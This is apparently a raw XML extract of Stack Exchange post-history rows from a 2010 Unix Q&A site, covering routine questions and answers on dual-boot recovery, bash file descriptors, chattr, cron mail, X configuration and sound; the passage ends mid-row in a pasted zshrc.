  <row Id="7941" PostHistoryTypeId="5" PostId="3708" RevisionGUID="2a5b1593-afb6-4c0a-b7d0-e9d36bb51455" CreationDate="2010-11-02T16:23:38.297" UserId="2063" Comment="added 296 characters in body" Text="I had RHEL 5 and WinXP on dual-boot and then from WinXP I deleted those partitions which were allocated to RHEL. Now I am not able to start my computer. The booting process stops at grub. I tried installing XP again so that it repairs the MBR for XP but the bootable CD is not initiating the installation process. How can I recover my winXP? &#xD;&#xA;&#xD;&#xA;Edit : I will not mind formatting the drive where XP is installed (in my case it's in C drive). &#xD;&#xA;&#xD;&#xA;Problem solved : Thank you guys for your help and support. I tried the RHEL cd and then in the command mode I tried `fdisk -l` and it showed that 1 partition was being used by Linux. I deleted that and then booted through WinXP CD and followed the steps which zypher suggested and it worked. " />
  <row Id="7942" PostHistoryTypeId="2" PostId="3711" RevisionGUID="d2f8f220-1cc9-46f1-96f0-d0146777f9dd" CreationDate="2010-11-02T16:23:50.573" UserId="825" Text="You'll need to search from `/` using [find(1)][1] and the `-type l` option to identify all links, followed by a [grep(1)][2] to isolate the links of interest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?find&#xD;&#xA;  [2]: http://unixhelp.ed.ac.uk/CGI/man-cgi?grep" />
  <row Id="7943" PostHistoryTypeId="2" PostId="3712" RevisionGUID="58d3724e-fc1b-4331-9b46-69bc308c8f09" CreationDate="2010-11-02T16:29:47.663" UserId="688" Text="I messed something up and can't get my touchpad working on GNOME 2.30 any more. I looked at Mouse Preferences on the Touchpad tab, and can't find the magic switch. The touchpad works on the Virtual Terminals, and on LXDE. Where's the magic button?" />
  <row Id="7944" PostHistoryTypeId="1" PostId="3712" RevisionGUID="58d3724e-fc1b-4331-9b46-69bc308c8f09" CreationDate="2010-11-02T16:29:47.663" UserId="688" Text="GNOME: how to get touchpad functional, again" />
  <row Id="7945" PostHistoryTypeId="3" PostId="3712" RevisionGUID="58d3724e-fc1b-4331-9b46-69bc308c8f09" CreationDate="2010-11-02T16:29:47.663" UserId="688" Text="égnomeàédebianà" />
  <row Id="7946" PostHistoryTypeId="5" PostId="3658" RevisionGUID="104bd232-1a1e-4fe1-82ca-e27e7c0aaff9" CreationDate="2010-11-02T18:08:12.053" UserId="885" Comment="fd 1 is stdout, not stderr" Text="In a way this question is a extension of [another][1] question.&#xD;&#xA;&#xD;&#xA;In bash you can do pretty neat stuff with file descriptors. Like&#xD;&#xA;&#xD;&#xA;    { command &gt; /dev/null } 2&gt;&amp;1 | grep filter;&#xD;&#xA;&#xD;&#xA;to grep on **stderr** only.&#xD;&#xA;&#xD;&#xA;My Question[s]:&#xD;&#xA;&#xD;&#xA; - How many levels of descriptors are there. ( How high can the &quot;numbers&quot; go) ?&#xD;&#xA; - Appart from `1` and `2` ( which are **stdout** and **stderr** ), what is the meaning and general use of those other &quot;numbers&quot;?&#xD;&#xA; - Is the order in which they are specified important?   &#xD;&#xA;e.g. `command 1&gt;&amp;2 3&gt;&amp;1 2&gt;&amp;3` versus  `command  2&gt;&amp;3 3&gt;&amp;1  1&gt;&amp;2` &#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3514&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7947" PostHistoryTypeId="5" PostId="3690" RevisionGUID="79a9ad40-8e1d-4047-b451-5a0f8b9c9141" CreationDate="2010-11-02T18:22:51.853" UserId="885" Comment="mention separate filesystem idea; mention bindfs" Text="There is no such flag with Linux `chattr`. You can either make the file immutable or append-only (in either case, the file's permissions and ownership will be locked), or allow the owner of the file and root to change the permissions. (The immutable attribute on a directory prevents creating or removing files from it but not changing entries' metadata.)&#xD;&#xA;&#xD;&#xA;If changing the ownership of the file is acceptable, do it, and use access control lists (or group ownership) to give whoever needs it read and write access to the file. If this is a social issue where your fellow roots can't be relied on, I don't think you'll find a satisfactory technical issue.&#xD;&#xA;&#xD;&#xA;Disallowing the owner of a file to change permissions falls into the category of [mandatory access control](http://en.wikipedia.org/wiki/Mandatory_access_control), which is not something unix traditionally supports. There are several MAC frameworks on Linux, and the two major ones are [SELinux](http://en.wikipedia.org/wiki/Security-Enhanced_Linux) and [AppArmor](http://en.wikipedia.org/wiki/AppArmor); I don't know whether they do allow what you're trying to do.&#xD;&#xA;&#xD;&#xA;If this is a general problem, you could look into using a database for storage. You can typically give someone the permission to read and write to a table without letting them control the permissions.&#xD;&#xA;&#xD;&#xA;A less drastic step than moving to a database would be moving the files to a different filesystem (this may or may not be feasible in your setting). You could then use symbolic links in the place where the files must exist, and hope the permission changers aren't sophisticated enough to look in the place where the real files are (perhaps that could be made read-only?).&#xD;&#xA;&#xD;&#xA;A [FUSE](http://fuse.sf.net/) filesystem that mirrors file contents but changes metadata is another possibility. An existing one is [bindfs](http://code.google.com/p/bindfs/), which can rewrite permissions (`-o perms=…`) and can ignore chmods (`-o chmod-ignore`).&#xD;&#xA;" />
  <row Id="7948" PostHistoryTypeId="5" PostId="3669" RevisionGUID="4340308c-b264-4aec-9f18-9b8b865bb688" CreationDate="2010-11-02T18:39:20.510" UserId="73" Comment="added 1 characters in body; edited title" Text="Is there any `chattr` flag that would allow me to lock a file's unix permissons, and not change them without resetting the flag? The file itself should still be modifiable, I just want to prevent ... ignorant people ...  from changing the permissions to something wrong accidentally." />
  <row Id="7949" PostHistoryTypeId="4" PostId="3669" RevisionGUID="4340308c-b264-4aec-9f18-9b8b865bb688" CreationDate="2010-11-02T18:39:20.510" UserId="73" Comment="added 1 characters in body; edited title" Text="immutable-like flag for perms" />
  <row Id="7950" PostHistoryTypeId="5" PostId="3691" RevisionGUID="1dd0cf41-ed58-4bf8-87a9-c4040dd75551" CreationDate="2010-11-02T18:48:30.663" UserId="885" Comment="give a solution using Digest::SHA" Text="Perl has a base64 module (in the base distribution since 5.7.1).&#xD;&#xA;&#xD;&#xA;    echo foo | sha1sum | \&#xD;&#xA;    perl -MMIME::Base64 -ne '/^([[:xdigit:]]+)/ and print encode_base64(pack(&quot;H*&quot;,$1))'&#xD;&#xA;&#xD;&#xA;If you have the `Digest::SHA` module (in the base distribution since 5.9.3), or the older `Digest::SHA1` module, you can do the whole computation in perl. As of perl 5.10.1, `b64digest` doesn't pad the base64 output; if you need padding the easiest way is to use `MIME::Base64`.&#xD;&#xA;&#xD;&#xA;    perl -MDigest::SHA -e 'print Digest::SHA-&gt;new(1)-&gt;addfile(*STDIN)-&gt;b64digest'&#xD;&#xA;    perl -MMIME::Base64 -MDigest::SHA \&#xD;&#xA;         -le 'print encode_base64(Digest::SHA-&gt;new(1)-&gt;addfile(*STDIN)-&gt;digest)'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7951" PostHistoryTypeId="2" PostId="3713" RevisionGUID="6c415e2d-9887-44a4-b733-6dd70d503de4" CreationDate="2010-11-02T18:51:28.210" UserId="885" Text="If you have the command line utility from [OpenSSL](http://www.openssl.org/), it can produce a digest in binary form, and it can even translate to base64 (in a separate invocation).&#xD;&#xA;&#xD;&#xA;    echo foo | openssl dgst -binary -sha1 | openssl base64&#xD;&#xA;" />
  <row Id="7952" PostHistoryTypeId="5" PostId="3628" RevisionGUID="81e18716-46f5-45be-bc9f-ebbbb1a48b0b" CreationDate="2010-11-02T18:53:23.480" UserId="2489" Comment="added 495 characters in body; edited tags" Text="I have Gentoo Linux, the Awesome window manager and an open-source ATI driver.&#xD;&#xA;&#xD;&#xA;Here's my xorg.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;Files&quot;&#xD;&#xA;            #ModulePath   &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/misc/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/TTF/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/OTF&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/Type1/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/100dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/75dpi/&quot;&#xD;&#xA;            FontPath     &quot;/usr/share/fonts/terminus&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;ServerLayout&quot;&#xD;&#xA;      Identifier     &quot;My X Server&quot;&#xD;&#xA;      Screen 0 &quot;Screen0&quot; 0 0&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      510   290     # mm&#xD;&#xA;            Identifier   &quot;LeftMonitor&quot;&#xD;&#xA;            VendorName   &quot;DEL&quot;&#xD;&#xA;            ModelName    &quot;DELL U2311H&quot;&#xD;&#xA;            HorizSync    30.0 - 83.0&#xD;&#xA;            VertRefresh  56.0 - 76.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1920x1080&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            #DisplaySize      380   300     # mm&#xD;&#xA;            Identifier   &quot;RightMonitor&quot;&#xD;&#xA;            VendorName   &quot;SAM&quot;&#xD;&#xA;            ModelName    &quot;SyncMaster&quot;&#xD;&#xA;            HorizSync    30.0 - 81.0&#xD;&#xA;            VertRefresh  56.0 - 75.0&#xD;&#xA;            Option      &quot;DPMS&quot;&#xD;&#xA;            Option         &quot;PreferredMode&quot;  &quot;1280x1024&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;      Identifier  &quot;Card0&quot;&#xD;&#xA;      Driver      &quot;radeon&quot;&#xD;&#xA;      VendorName  &quot;ATI Technologies Inc&quot;&#xD;&#xA;      BoardName   &quot;Mobilitiy Radeon HD 3600 Series&quot;&#xD;&#xA;      BusID       &quot;PCI:4:0:0&quot;&#xD;&#xA;      #Option &quot;AccelMethod&quot; &quot;EXA&quot;&#xD;&#xA;      Option         &quot;monitor-HDMI-0&quot; &quot;RightMonitor&quot;&#xD;&#xA;      Option         &quot;monitor-DVI-0&quot; &quot;LeftMonitor&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;      Identifier   &quot;Screen0&quot;&#xD;&#xA;      Device       &quot;Card0&quot;&#xD;&#xA;      Monitor      &quot;LeftMonitor&quot;&#xD;&#xA;      DefaultDepth 24&#xD;&#xA;      SubSection &quot;Display&quot;&#xD;&#xA;            Depth     24&#xD;&#xA;            Modes           &quot;1920x1080&quot; &quot;1280x1024&quot;&#xD;&#xA;            Virtual     3200 1080&#xD;&#xA;      EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;And to enable the monitor on the right side I do `xrandr --output HDMI-0 --mode 1280x1024 --right-of DVI-0` at system launch.&#xD;&#xA;&#xD;&#xA;Good thing, it works.  &#xD;&#xA;**Bad** thing, Altitude game breaks it. The main (left) monitor loses signal and I can't re-enable it ( while the game itself runs happily on the right screen, in fullscreen mode).&#xD;&#xA;&#xD;&#xA;No problems in windowed mode (1024x768), as well as with all other applications (fullscreen flash, VLC, etc), but when I try to change in-game resolution to 1280x1024, it breaks the same way as with fullscreen.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;**Edit:** It breaks when I close the game as well. Argh!&#xD;&#xA;&#xD;&#xA;**Edit2:** Probably related to [this bug][1].&#xD;&#xA;&#xD;&#xA;**Edit3:** [Investigating this strange behavior with the guys from Nimbly Games (creators of Altitude)][2]. They actually fixed the problem at game exit, so I can at least play in windowed mode now.&#xD;&#xA;&#xD;&#xA;As for fullscreen mode, I think it's a problem somewhere in xrandr, or unstable open-source radeon R600 drivers, so that Awesome (window manager) actually restarts when Altitude goes to fullscreen mode/tries to change resolution.&#xD;&#xA;&#xD;&#xA;  [1]: http://awesome.naquadah.org/bugs/index.php?do=details&amp;task_id=717&#xD;&#xA;  [2]: http://altitudegame.com/forums/showthread.php?p=84940" />
  <row Id="7953" PostHistoryTypeId="6" PostId="3628" RevisionGUID="81e18716-46f5-45be-bc9f-ebbbb1a48b0b" CreationDate="2010-11-02T18:53:23.480" UserId="2489" Comment="added 495 characters in body; edited tags" Text="édriversàéwindowömanageràégentooàéxrandràétilingà" />
  <row Id="7954" PostHistoryTypeId="2" PostId="3714" RevisionGUID="95f97b34-6ba3-4134-b716-c8ad19604827" CreationDate="2010-11-02T18:59:09.240" UserId="825" Text="The number you need is given by the maximum file descriptor count from the [ulimit(1)][1] command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://compute.cnr.berkeley.edu/cgi-bin/man-cgi?ulimit+2" />
  <row Id="7955" PostHistoryTypeId="5" PostId="3615" RevisionGUID="cfa1b777-be95-4adc-a5eb-4228daa582bc" CreationDate="2010-11-02T19:07:31.393" UserId="1010" Comment="pulled the correct info from source" Text="I found the answer [here][1], in section **4.4. less (1)**.&#xD;&#xA;&#xD;&#xA;to use it with the movement keys, have this plain ASCII file `.lesskey` in your home directory:&#xD;&#xA;&#xD;&#xA;    ^[[A   back-line&#xD;&#xA;    ^[[B   forw-line&#xD;&#xA;    ^[[C   right-scroll&#xD;&#xA;    ^[[D   left-scroll&#xD;&#xA;    ^[OA   back-line&#xD;&#xA;    ^[OB   forw-line&#xD;&#xA;    ^[OC   right-scroll&#xD;&#xA;    ^[OD   left-scroll&#xD;&#xA;    ^[[6~  forw-scroll&#xD;&#xA;    ^[[5~  back-scroll&#xD;&#xA;    ^[[1~  goto-line&#xD;&#xA;    ^[[4~  goto-end&#xD;&#xA;    ^[[7~  goto-line&#xD;&#xA;    ^[[8~  goto-end&#xD;&#xA;&#xD;&#xA;then run the command `lesskey`. (These are escape sequences for vt100-like terminals.) This creates a binary file `.less` containing the key bindings. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: http://www.linuxselfhelp.com/HOWTO/Config-HOWTO/config.html&#xD;&#xA;" />
  <row Id="7956" PostHistoryTypeId="2" PostId="3715" RevisionGUID="e2c668e3-66df-41a0-ab3c-441de6605110" CreationDate="2010-11-02T19:19:32.070" UserId="1010" Text="You don't need X11 to have a window manager. You can use [TWIN](http://linuz.sns.it/~max/twin/), the Text-mode window manager, along with [GPM](http://www.nico.schottelius.org/software/gpm/) for mouse. You might have to switch your primary web browser to [Links](http://links.sourceforge.net/) and your chat program to [Finch](http://developer.pidgin.im/), though." />
  <row Id="7957" PostHistoryTypeId="2" PostId="3716" RevisionGUID="00489f6c-d586-4f3a-be63-9eec9186f685" CreationDate="2010-11-02T19:20:28.713" UserId="1389" Text="Some programs don't have sound, in particular ZSNES and anything I run from the command line. So my question has two parts:&#xD;&#xA;&#xD;&#xA;1) How can I diagnose this problem? (I'm thinking of a command like `lspci` that will display the idiosyncracies of my system setup... would that be `lsmod`?)&#xD;&#xA;&#xD;&#xA;2) What do I need to install/modify to fix this?" />
  <row Id="7958" PostHistoryTypeId="1" PostId="3716" RevisionGUID="00489f6c-d586-4f3a-be63-9eec9186f685" CreationDate="2010-11-02T19:20:28.713" UserId="1389" Text="no sound from cli apps or from zsnes" />
  <row Id="7959" PostHistoryTypeId="3" PostId="3716" RevisionGUID="00489f6c-d586-4f3a-be63-9eec9186f685" CreationDate="2010-11-02T19:20:28.713" UserId="1389" Text="éaudioà" />
  <row Id="7960" PostHistoryTypeId="2" PostId="3717" RevisionGUID="a16c90cf-9a2b-4d61-bdd4-10a53069d2d5" CreationDate="2010-11-02T19:22:41.617" UserId="885" Text="Symbolic links are not tracked, so you'll have to perform an exhaustive search. Furthermore, symbolic links are textual, so they keep “existing” even if the filesystem they reside on is unmounted (and they may have a different target if mounted in a different place or if you rename directories). So the most you can do is find the symbolic links pointing to a particular file (or directory), say `/target`, in a particular directory hierarchy, say `/haystack`.&#xD;&#xA;&#xD;&#xA;(Note that I assume you are really looking for symbolic links *to* a particular directory. Finding symbolic links pointing *into* a directory (i.e. to a file or subdirectory of that directory) or *accross* a directory (i.e. that may become dangling if you remove the directory) are much harder problems.)&#xD;&#xA;&#xD;&#xA;With some versions of find (e.g. on (recent enough) Linux, FreeBSD or Mac OS X), you can easily look for symbolic links whose target is `/target`:&#xD;&#xA;&#xD;&#xA;    find -L /haystack -xtype l -samefile /target&#xD;&#xA;&#xD;&#xA;On systems whose `find` command doesn't have the `-samefile` primary, you can use ksh or bash instead, if available. Remove `-xtype` if it's also not supported; then the command will also list the target itself (or any hard link to it).&#xD;&#xA;&#xD;&#xA;    find -L /haystack -xtype l -exec ksh -c '&#xD;&#xA;        for x; do [[ $0 -ef $x ]] &amp;&amp; printf &quot;%s\n&quot; &quot;$x&quot;; done&#xD;&#xA;    ' /target {} +&#xD;&#xA;&#xD;&#xA;Doing this with only POSIX tools is a lot harder, due to the lack of POSIX ways to test same-file-ness or obtain information about symbolic links. Here's a solution for directories; it assumes there are no newlines in any filename. With some shells, you may need to replace `pwd` by `exec pwd` for proper symbolic link following.&#xD;&#xA;&#xD;&#xA;    find /haystack -type l -exec sh -c 'cd -- &quot;$0&quot; &amp;&amp; pwd' {} \; | \&#xD;&#xA;    grep -Fx &quot;$(cd /target &amp;&amp; pwd)&quot;&#xD;&#xA;&#xD;&#xA;And here's my obligatory zsh solution.&#xD;&#xA;&#xD;&#xA;    echo /haystack/**/*(@e\''[[ $REPLY -ef /target ]]'\')&#xD;&#xA;" />
  <row Id="7961" PostHistoryTypeId="5" PostId="3716" RevisionGUID="2205460d-f86e-4670-bbf9-d0af7d25c4a0" CreationDate="2010-11-02T19:58:45.993" UserId="73" Comment="edited body; edited title" Text="Some programs don't have sound, in particular ZSNES and anything I run from the command line. So my question has two parts:&#xD;&#xA;&#xD;&#xA;1. How can I diagnose this problem? (I'm thinking of a command like `lspci` that will display the idiosyncracies of my system setup... would that be `lsmod`?)&#xD;&#xA;&#xD;&#xA;2. What do I need to install/modify to fix this?" />
  <row Id="7962" PostHistoryTypeId="4" PostId="3716" RevisionGUID="2205460d-f86e-4670-bbf9-d0af7d25c4a0" CreationDate="2010-11-02T19:58:45.993" UserId="73" Comment="edited body; edited title" Text="No sound from cli apps or from zsnes" />
  <row Id="7963" PostHistoryTypeId="2" PostId="3718" RevisionGUID="1ec45cb1-356b-40d8-811d-051974737008" CreationDate="2010-11-02T20:08:00.093" UserId="885" Text="There are several different sound framework under many unix variants. Typically the framework used by the program talks to the framework that can talk to the hardware. If some programs have sound and others don't, the most likely explanation is that the non-working programs are using a sound system that is not working. Commands like `lspci` and `lsmod` might be helpful if you had a hardware problem, but they're not likely to be relevant if you have a sound framework problem.&#xD;&#xA;&#xD;&#xA;Common sound frameworks include [OSS](http://en.wikipedia.org/wiki/Open_Sound_System) (older Linux kernel interface), [ALSA](http://en.wikipedia.org/wiki/Advanced_Linux_Sound_Architecture) (newer Linux kernel interface), [Pulseaudio](http://en.wikipedia.org/wiki/Pulseaudio) (the default on Ubuntu, supported by more and more programs), [aRts](http://en.wikipedia.org/wiki/ARts) (mostly used by older versions of KDE), [ESound (esd)](http://en.wikipedia.org/wiki/Enlightened_Sound_Daemon) (older versions of Gnome and many older programs), [JACK](http://en.wikipedia.org/wiki/JACK_Audio_Connection_Kit) (supported directly only by a few high-end applications), and more.&#xD;&#xA;&#xD;&#xA;Here is some information that you should include in a question like this one.&#xD;&#xA;&#xD;&#xA;* Your operating system (e.g. Ubuntu 10.04, OpenBSD 4.7, …). This is something you should always indicate when asking a unix question (even on a distribution-specific forum, indicate the version).&#xD;&#xA;* What sound framework(s) you've installed and how you configured it/them. (“Whatever is installed by default, I didn't knowingly change anything” is a valid answer.)&#xD;&#xA;* What sound framework the non-working program is using. This may be hard for you to figure out; if you can't find the answer, give as much data as you can (e.g. “I'm using the binary downloaded from http://​example.com/foo.zip”), so that people can look it up for themselves or suggest more places for you to look.&#xD;&#xA;    * This may be mentioned in the program's documentation.&#xD;&#xA;    * It may depend on compile-time options, so check the place where you got the program.&#xD;&#xA;    * The program may have a way to switch between sound frameworks on the command line or in a configuration file.&#xD;&#xA;    * If the program came in a package (deb, rpm, pkg, etc.), the package's dependencies should include a sound framework.&#xD;&#xA;    * Try `ldd /path/to/executable`. This command will display the shared libraries the program is using; hopefully one of them corresponds to the sound framework.&#xD;&#xA;* If there are any error messages, report them (copy and paste). Check if the program has a log file somewhere, or if there's an option for it to produce more detailed error messages.&#xD;&#xA;&#xD;&#xA;If you give more information and I have more to contribute, I'll edit this answer.&#xD;&#xA;" />
  <row Id="7964" PostHistoryTypeId="2" PostId="3719" RevisionGUID="5b5e5e6b-4671-43ef-bd11-03fd20f45776" CreationDate="2010-11-02T20:17:47.113" UserId="1924" Text="I've got this configuration:&#xD;&#xA;WRouter -&gt;(by wifi) Computer1&#xD;&#xA;And I want to add another computer(2) connected by cable to computer1.&#xD;&#xA;Is it possible then to configure Computer1 to forward all packets from/to computer1 with DHCP packets too?&#xD;&#xA;And if yes how?" />
  <row Id="7965" PostHistoryTypeId="1" PostId="3719" RevisionGUID="5b5e5e6b-4671-43ef-bd11-03fd20f45776" CreationDate="2010-11-02T20:17:47.113" UserId="1924" Text="forwarding DHCP packets" />
  <row Id="7966" PostHistoryTypeId="3" PostId="3719" RevisionGUID="5b5e5e6b-4671-43ef-bd11-03fd20f45776" CreationDate="2010-11-02T20:17:47.113" UserId="1924" Text="élinuxàéubuntuàédhcpà" />
  <row Id="7967" PostHistoryTypeId="5" PostId="3719" RevisionGUID="5856dfc4-5dc1-431b-b3a8-b4ead74f7d70" CreationDate="2010-11-02T20:22:25.360" UserId="73" Comment="added 25 characters in body" Text="I've got this configuration:&#xD;&#xA;&#xD;&#xA;    WRouter -&gt;(by wifi) Computer1&#xD;&#xA;&#xD;&#xA;And I want to add another computer (`computer2`) connected by cable to `computer1`.&#xD;&#xA;Is it possible then to configure `computer1` to forward all packets from/to `computer2` with DHCP packets too? And if yes, how?" />
  <row Id="7968" PostHistoryTypeId="2" PostId="3720" RevisionGUID="cb62e64a-8a35-41e9-845d-c59e4d5e2dc8" CreationDate="2010-11-02T20:54:02.550" UserId="1327" Text="As for **DHCP** your going to have a difficult time. You might have to start a **DCHP** server on computer 1's Ethernet Connection. &#xD;&#xA;&#xD;&#xA;You should checkout this **[question][1]**. It seems to be related to what you are trying to do. Except that computer 2 and computer 1 IP's are manually set....&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/1685/connecting-to-a-network-via-another-pc " />
  <row Id="7969" PostHistoryTypeId="2" PostId="3721" RevisionGUID="7a19a5d0-2034-4d7c-9c90-6b393df505f5" CreationDate="2010-11-02T20:54:53.043" UserId="2525" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am currently working with Xvfb to grab the screenshots of my programs. Is there a way to determine the number and the names of the windows that are currently &quot;displayed&quot; in Xvfb?&#xD;&#xA;&#xD;&#xA;I also appreciate some reading resources!&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Heinrich" />
  <row Id="7970" PostHistoryTypeId="1" PostId="3721" RevisionGUID="7a19a5d0-2034-4d7c-9c90-6b393df505f5" CreationDate="2010-11-02T20:54:53.043" UserId="2525" Text="Getting the number and names of windows in Xvfb" />
  <row Id="7971" PostHistoryTypeId="3" PostId="3721" RevisionGUID="7a19a5d0-2034-4d7c-9c90-6b393df505f5" CreationDate="2010-11-02T20:54:53.043" UserId="2525" Text="élinuxàéxorgà" />
  <row Id="7976" PostHistoryTypeId="2" PostId="3723" RevisionGUID="029fa210-4548-4d62-bc5b-3f2dc4d0a0cd" CreationDate="2010-11-02T21:20:38.503" UserId="1389" Text="The best luck I had was with `mime-construct`, written in Perl. It does pretty much everything `uuencode` does, and is pipeable, which is what I needed. (No, I was not looking for an MTA such as `mutt`... `msmtp` is all I need, thank you very much.)&#xD;&#xA;&#xD;&#xA;For people interested, you call it using something like&#xD;&#xA;&#xD;&#xA;    $mime-construct --output --to &quot;addy@domain.suffix&quot; --file-attach &quot;a.jpg&quot;&#xD;&#xA;&#xD;&#xA;which prints a load of random gobbledygook to `stdout`, just as `uuencode` would if you didn't pipe it somewhere else.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7977" PostHistoryTypeId="2" PostId="3724" RevisionGUID="0280f6f9-47d2-4a6f-8259-41691946f187" CreationDate="2010-11-02T21:22:55.770" UserId="4" Text="We have several cronjobs stored in /etc/cron.daily/ . We would like the email for some of these cronjobs to go to a particular email address, while the rest of the emails in /etc/cron.daily/ should go to the default email address (root@localhost).&#xD;&#xA;&#xD;&#xA;Cronjobs in /etc/cron.daily/ are run from the /etc/crontab file. /etc/crontab specifies a 'MAILTO' field. Can I override this by setting MAILTO in my /etc/cron.daily/foo cronjob?&#xD;&#xA;&#xD;&#xA;What's the best way to handle this? " />
  <row Id="7978" PostHistoryTypeId="1" PostId="3724" RevisionGUID="0280f6f9-47d2-4a6f-8259-41691946f187" CreationDate="2010-11-02T21:22:55.770" UserId="4" Text="/etc/cron.daily/foo : Send email to a particular user?" />
  <row Id="7979" PostHistoryTypeId="3" PostId="3724" RevisionGUID="0280f6f9-47d2-4a6f-8259-41691946f187" CreationDate="2010-11-02T21:22:55.770" UserId="4" Text="écronà" />
  <row Id="7980" PostHistoryTypeId="5" PostId="3724" RevisionGUID="c78f4a3c-aac1-4024-a0ec-1acf875def23" CreationDate="2010-11-02T21:39:55.383" UserId="4" Comment="added 27 characters in body; edited tags" Text="I'm running CentOS 5.5.&#xD;&#xA;&#xD;&#xA;We have several cronjobs stored in /etc/cron.daily/ . We would like the email for some of these cronjobs to go to a particular email address, while the rest of the emails in /etc/cron.daily/ should go to the default email address (root@localhost).&#xD;&#xA;&#xD;&#xA;Cronjobs in /etc/cron.daily/ are run from the /etc/crontab file. /etc/crontab specifies a 'MAILTO' field. Can I override this by setting MAILTO in my /etc/cron.daily/foo cronjob?&#xD;&#xA;&#xD;&#xA;What's the best way to handle this? " />
  <row Id="7981" PostHistoryTypeId="6" PostId="3724" RevisionGUID="c78f4a3c-aac1-4024-a0ec-1acf875def23" CreationDate="2010-11-02T21:39:55.383" UserId="4" Comment="added 27 characters in body; edited tags" Text="élinuxàécronà" />
  <row Id="7982" PostHistoryTypeId="2" PostId="3725" RevisionGUID="08df3e40-3ab0-4a86-8e96-d490d8b37a6d" CreationDate="2010-11-02T21:56:45.710" UserId="885" Text="If you run a window manager on the Xvfb display, you can use whatever features it has to list window information.&#xD;&#xA;&#xD;&#xA;On the command line, [wmctrl](http://tomas.styblo.name/wmctrl/) can show some window information.&#xD;&#xA;&#xD;&#xA;    DISPLAY=:1 wmctrl -l&#xD;&#xA;" />
  <row Id="7983" PostHistoryTypeId="4" PostId="3724" RevisionGUID="3a4b53ff-b2dd-4bde-95b2-9fed271dae0d" CreationDate="2010-11-02T22:22:37.873" UserId="4" Comment="edited title" Text="/etc/cron.daily/foo : Send email to a particular user instead of root?" />
  <row Id="7984" PostHistoryTypeId="2" PostId="3726" RevisionGUID="093d4c01-38fa-4b0d-976a-1df23e7b79c4" CreationDate="2010-11-02T22:38:52.350" UserId="4" Text="Setting `MAILTO=user@example.org` in `/etc/cron.daily/foo` does not work. The script output is not sent to user@example.org .&#xD;&#xA;&#xD;&#xA;The page at http://www.unixgeeks.org/security/newbie/unix/cron-1.html also suggests a simple solution:&#xD;&#xA;&#xD;&#xA;The file `/etc/cron.daily/foo` now contains the following:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    /usr/bin/script 2&gt;&amp;1 | mailx -s &quot;$0&quot; stefanl@example.org&#xD;&#xA;&#xD;&#xA;This will send an email to 'stefanl@example.org' with the subject which is equal to the full path of the script (e.g. `/etc/cron.daily/foo`).&#xD;&#xA;&#xD;&#xA;Here's what Unixgeeks.org says about this:&#xD;&#xA;&#xD;&#xA;&gt; **Output from cron**&#xD;&#xA;&gt; &#xD;&#xA;&gt; As I've said before, the output from&#xD;&#xA;&gt; cron gets mailed to the owner of the&#xD;&#xA;&gt; process, or the person specified in&#xD;&#xA;&gt; the MAILTO variable, but what if you&#xD;&#xA;&gt; don't want that? If you want to mail&#xD;&#xA;&gt; the output to someone else, you can&#xD;&#xA;&gt; just pipe the output to the command&#xD;&#xA;&gt; mail. e.g.&#xD;&#xA;&gt;&#xD;&#xA;&gt; **cmd | mail -s &quot;Subject of mail&quot; user**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7985" PostHistoryTypeId="5" PostId="3656" RevisionGUID="4b032630-5b5a-416a-87fa-f574c63b464d" CreationDate="2010-11-02T22:57:40.933" UserId="1571" Comment="added 8693 characters in body" Text="Not sure if this should be an answer, but since I'm posting an image I guess it will work.&#xD;&#xA;&#xD;&#xA;You can make your bash prompt look different so that it's easily spotted, or use zsh and make your prompt look something like this.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/hIpPv.png&#xD;&#xA;&#xD;&#xA;I took my prompt from someplace online, I forget where. And I combined it with another zshrc file I found elsewhere. I'll just paste the whole thing here. The prompt is all contained in the bottom if you just awnt to take that.&#xD;&#xA;&#xD;&#xA;    #------------------------------&#xD;&#xA;    # History stuff&#xD;&#xA;    #------------------------------&#xD;&#xA;    HISTFILE=~/.histfile&#xD;&#xA;    HISTSIZE=1000&#xD;&#xA;    SAVEHIST=1000&#xD;&#xA;    &#xD;&#xA;    #------------------------------&#xD;&#xA;    # Variables&#xD;&#xA;    #------------------------------&#xD;&#xA;    export EDITOR=&quot;vim&quot;&#xD;&#xA;    export PAGER=&quot;vimpager&quot;&#xD;&#xA;    export 